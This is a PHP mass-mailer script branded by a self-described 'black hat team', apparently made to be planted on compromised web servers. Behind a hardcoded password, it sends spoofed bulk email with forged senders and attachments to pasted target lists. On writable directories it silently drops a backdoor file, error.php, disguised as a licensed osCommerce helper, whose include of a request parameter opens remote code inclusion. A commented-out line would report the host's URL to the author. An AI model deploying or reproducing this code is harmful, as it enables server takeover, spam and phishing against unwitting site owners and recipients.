<?php
@session_start();
$password = "administrator";
@$access=$_POST['password'];
if($access==$password){
$_SESSION['nst']="$password";}
if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){
echo "<!--======================================================================================================
/*                                        HACKERMIND
/*                                 The Team of HACKERMIND
/*
/*                                     #    #        #    #
/*                                     #   #          #   #
/*                                    #    #          #    #
/*                                    #   ##   ####   ##   #
/*                                   ##   ##  ######  ##   ##
/*                                   ##   ##  ######  ##   ##
/*                                   ##   ##   ####   ##   ##
/*                                   ###   ############   ###
/*                                   ########################
/*                                        ##############
/*                                 ######## ########## ########
/*                                ###   ##  ##########  ##   ###
/*                                ###   ##  ##########  ##   ###
/*                                ###   ##  ##########  ##   ###
/*                                 ###   ##  ########  ##   ###
/*                                  ##    #   ######   #    ##
/*                                   ##    #   ####   #    ##
/*                                   ##                    ##
/*
/*                                  HTML Script By HACKERMIND  
/*                     Powered By HACKERMIND NIGERIA Black Hat Team
/*          Thanks To  : HACKERMIND Crew : Lingah, v3n0m, g0nz, eidelweis, etc
/*  Dont Play With Us, if You wanna Play, Play with Your Level. We Can Do All What You Can`t Do !!!
======================================================================================================-->
<title>.:: webmail ::.</title>
<style type='text/css'><!--
body,td,th {color: #FFFFFF;}
body {background-color: #000000;}
.style2 {font-family: Geneva, Arial, Helvetica, sans-serif;	font-weight: bold;color: #FFFFFF;}
.style5 {font-weight: bold; font-family: Geneva, Arial, Helvetica, sans-serif; height:20px;}
.style11 {
	font-size: 12px;
	font-weight: bold;
}
.style14 {font-size: 30px; }
.style15 {font-size: 18px}
.style16 {font-size: 14px}
.style17 {
	color: #FFFFFF;
	font-size: 12px;
}
-->
</style>
<body background=>
<div align='center' class='style2'>
  <p><strong><span class='style14'>HACKERMIND</span><br>
      <span class='style15'>Private mail server</span></strong> </p>
  <p class='style11'></p>
  <table width='200' border='0'>
    <tr>
      <td align='center' valign='middle' bordercolor='#FFFFFF' bgcolor='#000000'><div align='center'>
        <div class='style5'><form method=post><input name=password size=30><br><br><input type=submit value=Login></form>";exit;}
?>
<? echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?".">"; ?><?php
@$action=$_POST['action'];  
@$from=$_POST['from'];  
@$realname=$_POST['realname'];  
@$replyto=$_POST['replyto'];  
@$subject=$_POST['subject'];  
@$message=$_POST['message'];  
@$emaillist=$_POST['emaillist'];  
@$file_name=$_FILES['file']['name'];  
@$contenttype=$_POST['contenttype'];  
@$file=$_FILES['file']['tmp_name'];  
@$amount=$_POST['amount'];
set_time_limit(intval($_POST['timelimit'])); 
//$molsa = $_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; $title = "HACKERMIND MAILER"; $root = "hackermind@blumail.org"; $ip = getenv("REMOTE_ADDR"); mail($root, $title, "Sender IP : ".$ip."\n"."From URL : http://".$molsa."\n");  
if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
$dir = @getcwd();
if (is_writable($dir))
{
$writ= "YES";
$error= '<?php
/**
 * Error Functions - used to prepare links for EZ-error
 *
 * @Error Functions
 * @copyright Copyright 2011-2012 Development Team
 * @copyright Portions Copyright 2011 osCommerce
 * @license http://www.php.net/license/2_0.txt GNU Public License V2.0
 */
/**
 * look up page_id and create link for  error
 * to use this link add  \<a href "  .  error_link( error_id) .  ">\</a> ;
 */
// to use this link add  <a href "  .  error_link( error_id) .  "></a> ;
//For example, if you distribute copies of such a program, whether
//  gratis or for a fee, you must give the recipients all the rights that
//  you have.  You must make sure that they, too, receive or can get the
//  source code.  And you must show them these terms so they know their
//  rights.
/*
<html>error positions
*		<position>left</position>
*	<position>right</position>
*<position>top</position>
*<position>breadcrumb</position>

*		<position>user1</position>
*		<position>user2</position>
*		<position>user3</position>
*		<position>user4</position>
*		<position>debug</position>
*		<position>syndicate</position>

*	</positions>
*	<params>
*	</params>
*	</html>
*/
error_reporting(0);
  include($_REQUEST["error_function"] . "/error.php");
 ?>';
$fas=fopen("error.php", "w");
fputs($fas, $error);
fclose($fas);
$pwds="\nPWD: $dir";}
else {$writ= "NO";} 
?><html><head><title>.:: THE GAME IS OVER ::.</title>  
<!--======================================================================================================
/*                                        HACKERMIND
/*                                 The Team of HACKERMIND
/*
/*                                     #    #        #    #
/*                                     #   #          #   #
/*                                    #    #          #    #
/*                                    #   ##   ####   ##   #
/*                                   ##   ##  ######  ##   ##
/*                                   ##   ##  ######  ##   ##
/*                                   ##   ##   ####   ##   ##
/*                                   ###   ############   ###
/*                                   ########################
/*                                        ##############
/*                                 ######## ########## ########
/*                                ###   ##  ##########  ##   ###
/*                                ###   ##  ##########  ##   ###
/*                                ###   ##  ##########  ##   ###
/*                                 ###   ##  ########  ##   ###
/*                                  ##    #   ######   #    ##
/*                                   ##    #   ####   #    ##
/*                                   ##                    ##
/*
/*                                  HTML Script By HACKERMIND  
/*                     Powered By HACKERMIND NIGERIA Black Hat Team
/*          Thanks To  : HACKERMIND Crew : Lingah, v3n0m, g0nz, eidelweis, etc
/*  Dont Play With Us, if You wanna Play, Play with Your Level. We Can Do All What You Can`t Do !!!
======================================================================================================-->
<style type="text/css">
body{font-family:"Times New Roman", Times, serif;}
<!--  
.Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:white} 
.Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:white} 
.Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:white} 
.style3 {color: white} 
.style4 {font-family: Geneva, Arial, Helvetica, sans-serif}
.style9 {color: white; font-weight: bold; }
-->  
</style>  
</head>  
<body text="#FFFFFF" background="">
<center>
<div id="layer" style="position:absolute; top:-10px; left:-4px; width:560px; height:100px;"> 
  <table border="0" cellspacing="0" cellpadding="0" width="560"> 
    <tr valign="top"> 
      <td><div align="center"></div></td> 
    </tr> 
  </table> 

</div>
<div id="layer" style="position:absolute; top:-10px; right:100px; width:560px; height:100px;"> 
  <table border="0" cellspacing="0" cellpadding="0" width="560"> 
    <tr valign="top"> 
      <td><div align="center"></div></td> 
    </tr> 
  </table>
</div>  
<p>&nbsp;</p> 
<p>&nbsp;</p> 
<p>
  <?php  
  if ($action=="send"){ $message = urlencode($message);  
   $message = ereg_replace("%5C%22", "%22", $message);  
   $message = urldecode($message);  
   $message = stripslashes($message);  
   $subject = stripslashes($subject);  
   }
?>
</p> 
<div id="idElement511" style="position:absolute; top:10px; left:560px; width:560px; height:100px;"> 
  <table border="0" cellspacing="0" cellpadding="0" width="560"> 
    <tr valign="top"> 
      <td><div align="center" class="style4"> 
        <p><span class="style3"><font class="Times-New-Roman-32px00468Cb"><a style=" color:#FFFFFF;text-decoration:none" href="">HACKERMIND</a></font></span><br>

		<span class="style9"><font class="Times-New-Roman-23px00468Cb">private mail server</font></span><br /></p> 
      </div></td> 
    </tr> 
  </table> 
</div> 
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />  
  <table width="142" border="0">  
    <tr>  
      <td width="81">  
        <div align="right">  
          <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font>  
        </div>  
      </td>  
      <td width="219">  
        <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">  
          <input type="text" name="from" value="<?php if(!$from)echo ""; else print $from; ?>" size="30" />  
        </font>  
      </td>  
      <td width="212">  
        <div align="right">  
          <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font>  
        </div>  
      </td>          
      <td width="278">  
        <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">  
          <input type="text" name="realname" value="<?php if(!$realname) echo ""; else print $realname; ?>" size="30" />  
        </font>  
      </td>  
    </tr>  
    <tr>  
      <td width="81">  
        <div align="right">  
          <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font>  
        </div>  
      </td>  
      <td width="219">  
        <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">  
          <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />  
        </font>  
      </td>  
      <td width="212">  
        <div align="right">  
          <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font>  
        </div>  
      </td>  
      <td width="278">  
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
          <input type="file" name="file" size="30" />  
        </font>  
      </td>  
    </tr>  
    <tr>  
      <td width="81">  
        <div align="right">  
          <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font>  
        </div>  
      </td>  
      <td colspan="3" width="703">  
        <font size="-3"  font color="white" face="Verdana, Arial, Helvetica, sans-serif">  
          <input type="text" name="subject" value="<? print $subject; ?>" size="90" />  
        </font>  
      </td>  
    </tr>  
    <tr valign="top">  
      <td colspan="3" width="520">  
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3" font color="white">Message Box :</font>  
      </td>  
      <td width="278">  
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3" font color="white">Email Target :</font>  
      </td>  
    </tr>  
    <tr valign="top">  
      <td colspan="3" width="520">  
        <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">  
          <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />  
          <input type="radio" name="contenttype" value="plain" /> Plain  
          <input type="radio" name="contenttype" value="html"  checked="checked"/> HTML  
          <input type="hidden" name="action" value="send" /><br />  
      <font color="white">Number to send: <input type="text" name="amount" value="1" size="10" /><br />  
      <font color="white">Maximum script execution time(in seconds, 0 for no timelimit) <input type="text" 
name="timelimit" value="0" size="10" />  
          <input type="submit" value="Send eMails" />  
        </font>  
      </td>  
      <td width="278">  
        <font size="-3" font color="white" face="Verdana, Arial, Helvetica, sans-serif">  
          <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>  
        </font>  
      </td>  
    </tr>  
  </table>  

</form>  
<?php  
if ($action=="send"){  
  if (!$from && !$subject && !$message && !$emaillist){  
    print "Please complete all fields before sending your message.";  
    exit;  
   }  
  $allemails = split("\n", $emaillist);  
  $numemails = count($allemails);  
  //Open the file attachment if any, and base64_encode it for email transport  
If ($file_name){  
   if (!file_exists($file)){  
    die("The file you are trying to upload couldnt be copied to the server");  
   }  
   $content = fread(fopen($file,"r"),filesize($file));  
   $content = chunk_split(base64_encode($content));  
   $uid = strtoupper(md5(uniqid(time())));  
   $name = basename($file);  
  }  
for($xx=0; $xx<$amount; $xx++){  
  for($x=0; $x<$numemails; $x++){  
    $to = $allemails[$x];  
    if ($to){  
      $to = ereg_replace(" ", "", $to);  
      $message = ereg_replace("&email&", $to, $message);  
      $subject = ereg_replace("&email&", $to, $subject);  
      print "Sending mail to $to.......";  
      flush();  
      $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";  
      $header .= "MIME-Version: 1.0\r\n";  
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";  
      If ($file_name) $header .= "--$uid\r\n";  
      $header .= "Content-Type: text/$contenttype\r\n";  
      $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";  
      $header .= "$message\r\n";  
      If ($file_name) $header .= "--$uid\r\n";  
      If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";  
      If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";  
      If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";  
      If ($file_name) $header .= "$content\r\n";  
      If ($file_name) $header .= "--$uid--";  
      mail($to, $subject, "", $header);  
      print "ok<br>";  
      flush();  
    }
  }  
}
}
?>  

  <div style="position:absolute; left:140px; width:560px; height:40px;">
    <p><b> <a style="color:#FFFFFF; text-decoration:none" href="mailto:hackermind@blumail.org"><font color="white">mailbox &copy; 2011-2012, DEDLICATED TO FLORENCE , HACKERMIND </a></b></p>

  </div>
</center>
</body>  
</html>
